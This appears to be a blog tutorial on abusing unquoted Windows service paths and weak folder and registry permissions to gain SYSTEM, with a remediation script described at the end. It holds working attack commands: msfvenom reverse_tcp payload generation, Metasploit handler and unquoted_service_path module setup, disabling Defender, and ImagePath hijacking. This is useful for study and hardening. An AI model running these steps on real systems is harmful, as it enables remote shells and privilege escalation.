UnQuoted Paths and Weak Permissions


All applications referenced here have been altered for demonstration purposes only and at no point were they vulnerable to any of the techniques to gain privileges. 

The script to fix Unquoted paths, Folder and Registry permissions weakness is at section 4, bottom of the page.

The Unquoted paths vulnerability is when a Windows Service's 'Path to Executable' contains spaces and not wrapped in double quotes. 

If you know of Unquoted paths and seen it all before I suggest scrolling down to Part's 3 and 4, I'm abusing Folder Permissions, the Registry and there's some scripts that maybe of use.


When the 'Google Update Service' automatically starts 'GoogleUpdate.exe' will be called in the following order, allowing the attacker to drop malware into the following path locations. The file is renamed to match the first word, before the space of the folder directly under it. When its copied to C:\ the folder path would be 'C:\Program Files', so file is named program.exe.


C:\Program Files (x86)\Google.exe

C:\Program Files (x86)\Google\Update.exe

C:\Program Files (x86)\Google\Update\GoogleUpdate.exe

To successfully drop in your own version of the executable you will require at least Modify permissions to the folder structure. 

However if the 'Path to Executable' was quoted the execution path would be "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" and it would no longer be possible to inject malware into the execution path.

The 2 methods I've used to identify Unquoted path vulnerabilities are as follows. 

Now its time to put the theory into practice.....

This is Part_1, establishing Reverse Shell by abusing Unquoted paths by a logged on User.

The first part will be carried out locally by that disgruntled employee. So everything is above board, Foxit and Google Updater are afflicted with unquoted path issues, kindly added by an IT admin who should know better. Foxit has not been installed to 'Program Files', but to the root of C:\. This variation will allow testing of the permissions when programs are installed outside of their default location. You might suggest that installing to C:\ is a fudge, I've seen numerous applications in some fairly large organisation deploy to C:\ as its mission critical but legacy or just wont work from 'Program Files'. So this is a fair test.

From Kali ( type the following to create a .exe to establish a reverse tcp connection from Windows to Kali:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4455 -f exe -o /root/Desktop/googleupdater.exe

Now for the Reverse Shell.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp


set LPORT 4455


To copy from Kali to Windows there are various methods and I like to use a temporary FTP server spawned by Metasploit.

mkdir /tmp/ftproot


use  auxiliary/server/ftp



copy /root/Desktop/googleupdate.exe /tmp/ftproot/ReverseShell.exe

On Windows open the Command prompt and type ftp.exe

get ReverseShell.exe c:\Download

At this point Windows Defender will kick in, this is to be expected. For now, disable Defender, I'm hoping to write up how to bypass AV, its certainly possible.

If your not logged on to Windows as a User, do so.

Now try and copy the Reverse Shell to the following locations, renaming the file as you go.


C:\Program Files (x86)\Google.exe

C:\Program Files (x86)\Google\Update.exe

C:\Program Files (x86)\Google\Update\GoogleUpdate.exe

Just great, as a User I'm defeated by the NTFS permissions at all locations. 

What about Foxit, it also reported an Unquoted paths issue for 'C:\Foxit Software\Foxit Reader\FoxitReaderUpdateService.exe'. 

Foxit was not installed in the default 'Program Files', but off the root of C:\

Awesome, the user is able to drop the Reverse Shell into 'C:\Foxit Software\' 

All that remains is rebooting Windows.

And...the unquoted path is exploited. 

If for any reason the exploit doesn't work, it's possible to replace the official .exe with your own and not be reliant on unquoted paths at all.

This is Part_2, an existing Reverse Shell under the User context where the aim is to get System.

This time we've already achieved a Reverse Shell back to Metasploit, however its running as a lowly User with no Privileges.

Using the Multihandler again the User has a session

Drop down into the clients shell



Type exit to exit the shell and then background to escape Meterpreter

use exploit/windows/local/unquoted_service_path


set LPORT 4455

set Session 13 (will depend on the current active session)


Windows will require rebooting, but first switch back to the multihandler.

use exploit/multi/handler


Reboot Windows and logon.

If the Unquoted paths was successful a new Meterpreter session is created.

From Meterpreter type shell and the whoami

Successfully exploited the unquoted path vulnerability and remotely elevated from User to System.

This is Part_3, Folder and Registry Permissions

I'm not going to explain and demonstrate folder permissions, if a user has access to anything greater than Read and Execute its open for abuse as demonstrated with Foxit.

But.... there's always a 'But'.....I was auditing a new Windows 10 build, poking around in the registry of a new software package and noticed that the permissions were not inherited. Then noticed that the Registry Key allowed the Users Full Control. 

Again I've induced the issue to replicate the problem (sorry Google Updater) that changes the default permissions so the User has full control.

As the User the ImagePath was updated and directed to the Reverse Shell from earlier.

A quick reboot and happy to report I've elevated from User to System.... again

This is Part_4, The fix

Click on the link (here), to download the text file, change the extension to .ps1 and run will admin privs.

The script checks for folder weaknesses with the Registry, System folders and any non default folder off the root of C:\. If User, Authenticated User or Everyone has Full, Modify or Write permissions they are replaced with inherited permissions from C:\, Read and Execute.

& icacls.exe c:\ /remove:g "Authenticated Users" is executed to prevent users creating any new folders.

To test without making changes to the file system, hash '#' the set-acl commands.

As always any feedback or improvements to the page or script gratefully received.